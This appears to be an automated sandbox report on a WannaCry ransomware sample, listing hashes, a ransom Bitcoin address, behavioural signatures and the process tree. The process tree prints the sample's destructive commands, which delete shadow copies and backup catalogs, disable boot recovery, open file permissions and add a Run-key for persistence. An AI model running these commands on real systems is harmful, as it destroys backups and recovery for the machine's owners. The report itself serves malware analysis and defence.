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210303-eg4g1z4wd2 10Analysis
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max time kernel
140s -
max time network
144s -
platform
windows10_x64 -
resource
win10v200410 -
submitted
24-04-2020 13:25
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v200410
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200410
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
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Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeBackupPrivilege 2172 vssvc.exe Token: SeRestorePrivilege 2172 vssvc.exe Token: SeAuditPrivilege 2172 vssvc.exe Token: SeIncreaseQuotaPrivilege 3156 WMIC.exe Token: SeSecurityPrivilege 3156 WMIC.exe Token: SeTakeOwnershipPrivilege 3156 WMIC.exe Token: SeLoadDriverPrivilege 3156 WMIC.exe Token: SeSystemProfilePrivilege 3156 WMIC.exe Token: SeSystemtimePrivilege 3156 WMIC.exe Token: SeProfSingleProcessPrivilege 3156 WMIC.exe Token: SeIncBasePriorityPrivilege 3156 WMIC.exe Token: SeCreatePagefilePrivilege 3156 WMIC.exe Token: SeBackupPrivilege 3156 WMIC.exe Token: SeRestorePrivilege 3156 WMIC.exe Token: SeShutdownPrivilege 3156 WMIC.exe Token: SeDebugPrivilege 3156 WMIC.exe Token: SeSystemEnvironmentPrivilege 3156 WMIC.exe Token: SeRemoteShutdownPrivilege 3156 WMIC.exe Token: SeUndockPrivilege 3156 WMIC.exe Token: SeManageVolumePrivilege 3156 WMIC.exe Token: 33 3156 WMIC.exe Token: 34 3156 WMIC.exe Token: 35 3156 WMIC.exe Token: 36 3156 WMIC.exe Token: SeIncreaseQuotaPrivilege 3156 WMIC.exe Token: SeSecurityPrivilege 3156 WMIC.exe Token: SeTakeOwnershipPrivilege 3156 WMIC.exe Token: SeLoadDriverPrivilege 3156 WMIC.exe Token: SeSystemProfilePrivilege 3156 WMIC.exe Token: SeSystemtimePrivilege 3156 WMIC.exe Token: SeProfSingleProcessPrivilege 3156 WMIC.exe Token: SeIncBasePriorityPrivilege 3156 WMIC.exe Token: SeCreatePagefilePrivilege 3156 WMIC.exe Token: SeBackupPrivilege 3156 WMIC.exe Token: SeRestorePrivilege 3156 WMIC.exe Token: SeShutdownPrivilege 3156 WMIC.exe Token: SeDebugPrivilege 3156 WMIC.exe Token: SeSystemEnvironmentPrivilege 3156 WMIC.exe Token: SeRemoteShutdownPrivilege 3156 WMIC.exe Token: SeUndockPrivilege 3156 WMIC.exe Token: SeManageVolumePrivilege 3156 WMIC.exe Token: 33 3156 WMIC.exe Token: 34 3156 WMIC.exe Token: 35 3156 WMIC.exe Token: 36 3156 WMIC.exe Token: SeTcbPrivilege 8 taskse.exe Token: SeTcbPrivilege 8 taskse.exe Token: SeTcbPrivilege 1724 taskse.exe Token: SeTcbPrivilege 1724 taskse.exe Token: SeTcbPrivilege 1592 taskse.exe Token: SeTcbPrivilege 1592 taskse.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2884 vssadmin.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3944 reg.exe -
Loads dropped DLL 8 IoCs
pid Process 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe 3628 taskhsvc.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3564 icacls.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Suspicious use of WriteProcessMemory 72 IoCs
description pid Process procid_target PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 67 PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 67 PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 67 PID 1872 wrote to memory of 3564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 69 PID 1872 wrote to memory of 3564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 69 PID 1872 wrote to memory of 3564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 69 PID 1872 wrote to memory of 2564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 71 PID 1872 wrote to memory of 2564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 71 PID 1872 wrote to memory of 2564 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 71 PID 1872 wrote to memory of 4052 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 1872 wrote to memory of 4052 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 1872 wrote to memory of 4052 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 4052 wrote to memory of 3880 4052 cmd.exe 74 PID 4052 wrote to memory of 3880 4052 cmd.exe 74 PID 4052 wrote to memory of 3880 4052 cmd.exe 74 PID 1872 wrote to memory of 560 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 78 PID 1872 wrote to memory of 560 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 78 PID 1872 wrote to memory of 560 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 78 PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 1872 wrote to memory of 3568 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 1872 wrote to memory of 3724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 1872 wrote to memory of 3724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 1872 wrote to memory of 3724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 3724 wrote to memory of 3332 3724 cmd.exe 82 PID 3724 wrote to memory of 3332 3724 cmd.exe 82 PID 3724 wrote to memory of 3332 3724 cmd.exe 82 PID 3568 wrote to memory of 3628 3568 @[email protected] 84 PID 3568 wrote to memory of 3628 3568 @[email protected] 84 PID 3568 wrote to memory of 3628 3568 @[email protected] 84 PID 3332 wrote to memory of 2728 3332 @[email protected] 87 PID 3332 wrote to memory of 2728 3332 @[email protected] 87 PID 3332 wrote to memory of 2728 3332 @[email protected] 87 PID 2728 wrote to memory of 2884 2728 cmd.exe 89 PID 2728 wrote to memory of 2884 2728 cmd.exe 89 PID 2728 wrote to memory of 2884 2728 cmd.exe 89 PID 2728 wrote to memory of 3156 2728 cmd.exe 91 PID 2728 wrote to memory of 3156 2728 cmd.exe 91 PID 2728 wrote to memory of 3156 2728 cmd.exe 91 PID 1872 wrote to memory of 8 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 1872 wrote to memory of 8 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 1872 wrote to memory of 8 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 1872 wrote to memory of 3140 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 1872 wrote to memory of 3140 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 1872 wrote to memory of 3140 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 1872 wrote to memory of 3304 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 1872 wrote to memory of 3304 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 1872 wrote to memory of 3304 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 3304 wrote to memory of 3944 3304 cmd.exe 97 PID 3304 wrote to memory of 3944 3304 cmd.exe 97 PID 3304 wrote to memory of 3944 3304 cmd.exe 97 PID 1872 wrote to memory of 3956 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 98 PID 1872 wrote to memory of 3956 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 98 PID 1872 wrote to memory of 3956 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 98 PID 1872 wrote to memory of 1724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 1872 wrote to memory of 1724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 1872 wrote to memory of 1724 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 1872 wrote to memory of 1732 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 103 PID 1872 wrote to memory of 1732 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 103 PID 1872 wrote to memory of 1732 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 103 PID 1872 wrote to memory of 1824 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 104 PID 1872 wrote to memory of 1824 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 104 PID 1872 wrote to memory of 1824 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 104 PID 1872 wrote to memory of 1592 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 1872 wrote to memory of 1592 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 1872 wrote to memory of 1592 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 1872 wrote to memory of 3092 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 PID 1872 wrote to memory of 3092 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 PID 1872 wrote to memory of 3092 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 PID 1872 wrote to memory of 1920 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 PID 1872 wrote to memory of 1920 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 PID 1872 wrote to memory of 1920 1872 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 112 -
Wannacry
WannaCry is a ransomware cryptoworm.
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Adds Run entry to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\xeoufghauxp624 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe -
Executes dropped EXE 14 IoCs
pid Process 2564 taskdl.exe 560 taskdl.exe 3568 @[email protected] 3332 @[email protected] 3628 taskhsvc.exe 8 taskse.exe 3140 @[email protected] 3956 taskdl.exe 1724 taskse.exe 1732 @[email protected] 1824 taskdl.exe 1592 taskse.exe 3092 @[email protected] 1920 taskdl.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 3332 @[email protected] 3568 @[email protected] 3568 @[email protected] 3332 @[email protected] 3140 @[email protected] 3140 @[email protected] 1732 @[email protected] 3092 @[email protected] -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3568 attrib.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDA17B.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDA1A1.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Drops startup file
PID:1872 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:3568
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:3564
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2564
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 40871587741934.bat2⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵PID:3880
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:560
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3568 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:3628
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C:\Windows\SysWOW64\cmd.exePID:3724
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C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3332 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:2884
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3156
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:8
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Sets desktop wallpaper using registry
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3140
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
- Adds Run entry to start application
PID:3944
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:3956
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1724
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1732
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1824
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1592
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:3092
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1920
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:2172